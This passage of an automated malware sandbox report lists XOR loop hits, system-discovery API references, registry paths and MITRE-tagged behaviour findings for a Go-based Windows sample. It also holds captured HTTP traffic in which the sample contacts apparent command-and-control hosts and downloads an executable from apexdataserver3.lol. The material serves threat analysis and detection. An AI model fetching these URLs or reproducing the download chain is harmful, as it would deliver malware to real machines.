1027440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1386735; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1389013; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1788849; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1931692; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2193984; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2342728; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2499556; code bytes = 803033:T43c,Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp")34:T681,Found system information discovery API: "GetEnvironmentStringsW" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "GetSystemInfo" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "internal/syscall/windows/registry.procExpandEnvironmentStringsW" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "ExpandEnvironmentStringsA" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "GetMonitorInfoW" in file "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp"35:T511,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp")36:T2567,"status is not in scan state is currently not supported for use in system callbacksfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= runtime: checkmarks found unexpected unmarked object obj=bufio.Scanner: SplitFunc returns advance count beyond inputtried to trace goroutine with invalid or unsupported statusmanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: netpoll: PostQueuedCompletionStatus fa" in Source: cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin "for done generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailablebufio.Scanner: SplitFunc returns negative advance countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= runtime: checkmarks found unexpected unmarked object obj=bufio.Scanner: SplitFunc returns advance count beyond inputtried to trace goroutine with invalid or unsupported statusmanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: netpoll: PostQueuedCompletionStatus f" in Source: cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005456.00000000.167125.5B300000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F" in Source: 00000000-00005456.00000000.167125.5B300000.00000004.mdmp 00000000-00005456.00000001.167281.5B341000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005456.00000000.167125.5B300000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005456.00000000.167125.5B300000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005456.00000000.167125.5B300000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005456.00000000.167125.DEE89000.00000002.mdmp42:T77b,Process HTTP/1.1 200 OK date: Fri 05 Jun 2026 20:55:39 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 136 content-type: text/html; charset=UTF-8 with response body ==>60397C392139736F6F6B2147344734222E35232E35292822352A2F2D21282B2B2B473422777C694B627C2B4A2A78293937397772686F39214060397E39214046....... "GET /doero?param=k6W9FComeBsWzC57GVZp HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: neuralpulsecore5.sbs" Response ==> HTTP/1.1 200 OK date: Fri 05 Jun 2026 20:55:39 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 11 content-type: text/html; charset=UTF-8 with response body ==>60397772686F3921404666....... "GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: api.myip.com" Response ==> HTTP/1.1 200 OK Date: Fri 05 Jun 2026 20:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=WXBqC6I%2BzR9RE7I2iqqHSvg8T1%2FG%2Fz%2F0SM%2FGZ2hnHgfRbO0mLb0MfbVwyNSmdo20vqVrSBojC0yuvcov82DCY21tQXagaHzNXuGvF%2By1neyyiJZf7EywlSL4rdAIiQ%3D%3D"}]} vary: Accept-Encoding Server: cloudflare x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a072146069df1739-SJC with response body ==>7B226970223A2236342E3132342E31322E313632222C22636F756E747279223A22556E6974656420537461746573222C226363223A225553227D....... "GET /load/os1/beb.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: apexdataserver3.lol" Response ==> HTTP/1.1 200 OK Date: Fri 05 Jun 2026 20:55:41 GMT Content-Type: application/x-msdos-program Content-Length: 2334720 Connection: keep-alive Server: cloudflare Last-Modified: Fri 05 Jun 2026 09:36:26 GMT etag: "23a000-6537e6506e92e" Accept-Ranges: bytes Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VMUy79GjMgtnVkUxaxAUIwhH4SwILdszqDcgCVbX%2BtvDJEiP7AKAmRf5aGmk1sw8xiCIlhhhbYL4Ic3XAUx7CDN8rHS94rHmcjn8vHEL9inh4ljWszYUDNBdWKs%2FFZsan9b57EUR"}]} Age: 199 Cache-Control: max-age=14400 cf-cache-status: HIT Server-Timing: cfCacheStatus;desc="HIT" Server-Timing: cfEdge;dur=27 cfOrigin;dur=0 CF-RAY: a07214625f64ce5c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /9lgrPyg0Q1c2 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: 95.85.239.146:3000" Response ==> HTTP/1.1 302 Found X-Powered-By: Express X-Access-Mode: public Location: https://img3.akspic.ru/previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 146 Date: Fri 05 Jun 2026 20:55:43 GMT Connection: keep-alive Keep-Alive: timeout=5 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F696D67332E616B737069632E72752F70726576696577732F382F342F302F362F372F....... "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: img3.akspic.ru" Response ==> HTTP/1.1 200 OK Server: nginx Date: Fri 05 Jun 2026 20:55:43 GMT Content-Type: image/jpeg Content-Length: 134818 Last-Modified: Sat 06 Jul 2024 07:26:33 GMT Connection: keep-alive Keep-Alive: timeout=60 ETag: "6688f1a9-20ea2" Expires: Thu 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: immutable Access-Control-Allow-Origin: * Special-Location: matched Accept-Ranges: bytes with response body ==>C3BFC398C3BFC3A000104A46494600010100000100010000C3BFC39B0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B.......45:T13e0,". Reason: Access is denied.\" - (UID: 00000000-00005456)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6a2337b1f5343f0cbf0271ee"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\" tE!\"\n \"AutoIt3.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a2337b1f5343f0cbf0271ee"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"4iOGt7rrAueqzkuQnkrKGBgv.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a2337b1f5343f0cbf0271ee"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Attempts to clear registry persistence","description":"\"4iOGt7rrAueqzkuQnkrKGBgv.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\")","origin":"Registry Access","mitre_attack_id":"T1070.009","relevance":10,"id":"registry-206","sources":[{"report_type":"sandbox","report_id":"6a2337b1f5343f0cbf0271ee"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Persistent registry entry has regsvr32/rundll32 with arguments","description":"\"4iOGt7rrAueqzkuQnkrKGBgv.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP000.TMP\\\"\")","origin":"Registry Access","mitre_attack_id":"T1218","relevance":5,"id":"registry-195","sources":[{"report_type":"sandbox","report_id":"6a2337b1f5343f0cbf0271ee"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"